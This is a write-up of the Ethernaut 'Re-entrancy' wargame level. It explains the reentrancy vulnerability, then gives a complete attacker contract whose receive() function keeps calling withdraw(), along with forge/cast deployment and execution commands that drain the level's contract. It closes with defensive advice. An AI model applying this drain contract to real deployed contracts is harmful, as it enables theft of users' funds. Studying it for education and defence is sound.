# Ethernaut Level 10 - Re-entrancy

## Objectives

This is by far one of my favorite attacks in Smart Contracts because the repercussions it has could compromise the whole contract, its funds, users, or the ownership, depending on the code logic. 

The goal of [this level](https://ethernaut.openzeppelin.com/level/0xe6BA07257a9321e755184FB2F995e0600E78c16D) is to steal all the funds from the contract.

To understand this level, we must know what a Reentrancy is. Let's dive in. 

---

## Reentrancy

This is a class of vulnerabilities in smart contracts where attackers recursively call the functions in a vulnerable smart contract, in which there are external calls, before the contract could make sensitive state changes. 

What this means is that, let's say there are two contracts, `A` and `B`. Contract A has a function that is vulnerable to reentrancy, i.e.,
1. There's an external call happening in the function whose address is controlled by the attacker
2. There's some state change (variable update, store, modification) happening after the external call

If these two conditions are met, then it might be possible for an attacker to reenter back into the vulnerable contract by recursively calling the vulnerable function. This will allow them to make the said external calls multiple times and the sensitive state-changing statements will never be executed because the flow will never reach that part. 

Again, this is explained really well in [Solidity By Example](https://solidity-by-example.org/hacks/re-entrancy/).

Imagine if the external call is transferring some funds to an attacker-controlled address, and it is updating the remaining balance after the external call. This scenario could very well be exploited by the attacker to withdraw all the funds before their balance update takes place. We will be doing the same thing with this level. 

---

## Analysis

Let's take a look at the vulnerable function - `withdraw()`. 

```solidity
function withdraw(uint _amount) public {
    if(balances[msg.sender] >= _amount) { // validation to check if my user has balance
        (bool result,) = msg.sender.call{value:_amount}(""); // external call to an address controlled by us
            if(result) {
                _amount;
            }
        balances[msg.sender] -= _amount; // balance update but after the external call
    }
}
```
This function is taking some Ether in `_amount` and making sure that the balance of the user who initiated the function call should be greater than or equal to the amount. 

It is then making an external call to `msg.sender`'s address. This is a big RED FLAG as this address can be controlled by our user since we are the `msg.sender`. 

After the external call, the function is then updating the balance for our user in the mapping `balances[msg.sender]`. Since this is happening after the external call, we can exploit this behavior so that the function never reaches this line to update user balance. 

There's another function called `donate()` - 
```solidity
function donate(address _to) public payable {
    balances[_to] = balances[_to].add(msg.value);
}
```
This function deposits the Ether to the address supplied in the function arguments. We will need to call this so that we are able to validate the `if` condition in the `withdraw()` function - `if(balances[msg.sender] >= _amount)`. 

To exploit this level, we will be deploying a malicious contract with some balance and use that to make calls to the Ethernaut's instance:
1. We will be calling the `donate()` function with some initial Ether to deposit some balance into our contract's account. 
2. We will create a `fallback()` or `receive()` function in our contract so when the `withdraw()` function tries to send us the Ether, we can reenter back into the function by calling it again. Here's how it would look. Note the extra `withdraw()` call inside of it. 
    ```solidity
    receive() external payable {
        level10.withdraw(msg.value);
    }
    ```
3. We will call the `withdraw()` function using our contract and supply at least the same amount as our user's donated balance to validate the `if` condition. 
4. Once this is done, the `withdraw()` function will try to execute the external call `msg.sender.call{value:_amount}("");` and send the `_amount` value to our contract's address. 
5. Our contract will see the incoming transaction and the `receive()` function will handle it. Since our `receive()` function also has a call to the vulnerable contract's `withdraw()` function - `level10.withdraw(msg.value);`, this will keep on repeating until the other contract is drained. 

Let's implement this logic in our code. 

---

## The Exploit

> PS: Wherever I've mentioned `Reentrance contract`, I'm talking about the Ethernaut's level instance or their vulnerable contract. 

Here's how our [exploit code](https://github.com/az0mb13/ethernaut-foundry/blob/master/src/level10.sol) looks:
```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import "../instances/Ilevel10.sol";

contract Reenter{

    Reentrance level10 = Reentrance(0xA7DE2aFF32f567eA36FC25441cde801879BE5534);
    
    constructor () public payable {}

    function donate(address _to) external payable {
        level10.donate{value: 0.001 ether}(_to);
    }

    function withdraw() external{
        level10.withdraw(0.001 ether);
    }

    function getBalance(address _who) external view returns (uint){
        return address(_who).balance;
    }

    function fundmeback(address payable _to) external payable{
        require(_to.send(address(this).balance), "could not send Ether");
    }

    receive() external payable {
        level10.withdraw(msg.value);
    }
}
```
1. `constructor()` - It is payable so that we can send some Ether to our contract while deployment. The `donate()` function is also called inside of it with a value of `0.001` Ether. 
2. `withdraw()` - This function will be useful to trigger the `withdraw()` function on the Reentrance contract. This is also withdrawing `0.001` Ether at a time. 
3. `getBalance()` - We have written this function just to query the balance of either the Reentrance contract or our own contract. 
4. `fundmeback()` - This function will be useful to withdraw the funds from our deployed contract into our wallet once we finish the level. This is not necessary but I don't want to lose my Ether. 
5. `receive()` - This function is where the magic happens. We have called `withdraw()` with a value of `msg.value`. This value will come from the `_amount` which will be sent by the Reentrance contract. This will keep on repeating automatically until their contract is drained. You can also have a validating statement here to execute the `withdraw()` call until the Reentrance contract's balance reaches 0. 

Let's deploy our contract using the following command. The `--value` is the Ether that will be received by our constructor. 
```
forge create Reenter --private-key $PKEY --rpc-url $RPC_URL --value 0.002ether
```

![image.png](https://cdn.hashnode.com/res/hashnode/image/upload/v1660576188542/aOFg3iSQQ.png align="left")

Now that our contract is deployed, let's make a call to the `donate()` function using the following command:

```
cast send <attacker_contract_address> "donate(address)" "<instance_address>" --private-key $PKEY --rpc-url $RPC_URL
```

I'm specifically donating `0.001` Ether because the contract's balance is already `0.001` Ether. If we deposit `0.001` Ether more, the reentrancy attack would be completed in 2 reentrant calls.

The balance can be checked by calling our `getBalance()` function and passing the contract's address in it: 
```
cast call  <deployed_contracts_address> "getBalance(address)" "<Reentrancy_contracts_address>" --private-key $PKEY --rpc-url $RPC_URL | cast --to-dec
```
 Once our contract calls the `deposit()` function, Reentrance contract's new balance will be `2000000000000000` wei or `0.002` Ether as can be seen below:

![image.png](https://cdn.hashnode.com/res/hashnode/image/upload/v1660576495398/dBuBXEpap.png align="left")

Now on to the next step, let's call the `withdraw()` function in our contract:
```
cast send 0xB4eaFb65cd17152D3837F764884Db1Cb00e4Db77 "withdraw()" --private-key $PKEY --rpc-url $RPC_URL --gas-limit 1000000
```
> Just add another 0 to the `--gas-limit 1000000` if it reverts. 

![image.png](https://cdn.hashnode.com/res/hashnode/image/upload/v1660576559659/LAmd0I2y9.png align="left")

This should trigger the reentrancy and the Ethernaut's contract should make two transfers of `0.001` Ether each. 
Etherscan confirms that this was a success. 
![image.png](https://cdn.hashnode.com/res/hashnode/image/upload/v1660576666756/No_9j3hWZ.png align="left")

Now let's check the updated balances of both the contracts:

![image.png](https://cdn.hashnode.com/res/hashnode/image/upload/v1660576699141/ndWXAyg94.png align="left")

It can be seen that the Reentrance contract's balance is `0` and ours is updated to `0.003` wei. The attack was successful and we have drained the Reentrance contract. The instance can now be submitted to finish the level. 

> My **Github Repository** containing all the codes: github.com/az0mb13/ethernaut-foundry

---

## Takeaways
* It is recommended to follow the `check-effect-interaction` pattern in functions making an external call. 
* Use Openzeppelin's Reentrancy Guard to protect against Reentrancy attacks. 
* Make sure that the external call is the last thing happening in the contract after all the state-changes. 
* `call()` should be used with care as it forwards all the gas whereas`send` and `transfer` only forwards 2300 gas each. 
* The recommended method to make external calls is to use `call()` along with Reentrancy guard.

---

#### References
* https://solidity-by-example.org/sending-ether/
* https://solidity-by-example.org/hacks/re-entrancy/

